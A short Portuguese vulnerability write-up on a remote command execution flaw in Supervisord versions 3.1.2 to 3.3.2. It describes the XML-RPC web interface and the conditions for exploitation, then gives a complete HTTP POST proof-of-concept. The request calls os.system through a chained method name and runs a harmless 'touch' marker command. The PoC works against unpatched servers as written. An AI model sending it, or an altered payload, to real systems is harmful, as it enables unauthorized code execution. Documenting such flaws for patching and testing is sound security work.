
Script de vulnerabilidade de execução remota de comandos no Supervisord
Supervisor é uma ferramenta de gerenciamento de processos escrita em Python, que pode ser convenientemente usada para iniciar, reiniciar (reiniciar programas automaticamente) e encerrar processos em sistemas UNIX-like (sem suporte a Windows) — não apenas processos Python.
Supervisor é um programa no modelo C/S; supervisord é o lado do servidor e supervisorctl é o lado do cliente. De forma simples, o cliente insere comandos do supervisor para chamar a API do lado do servidor, realizando assim algumas tarefas.
O serviço Web do Supervisor, na verdade, é bastante utilizado por muitas pessoas; é o cliente do supervisord. Desde que a rota esteja acessível, é possível realizar remotamente, por meio da página Web, operações semelhantes às do client do supervisor. As operações pela interface Web são implementadas pela interface XML-RPC, e essa vulnerabilidade também está no tratamento de dados dessa interface XML-RPC.
Supervisor versão 3.1.2 até a versão 3.3.2
Serviço Web ativado e porta 9001 acessível
Senha fraca ou em branco
POST /RPC2 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 213
<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>
Este PoC não produz saída.
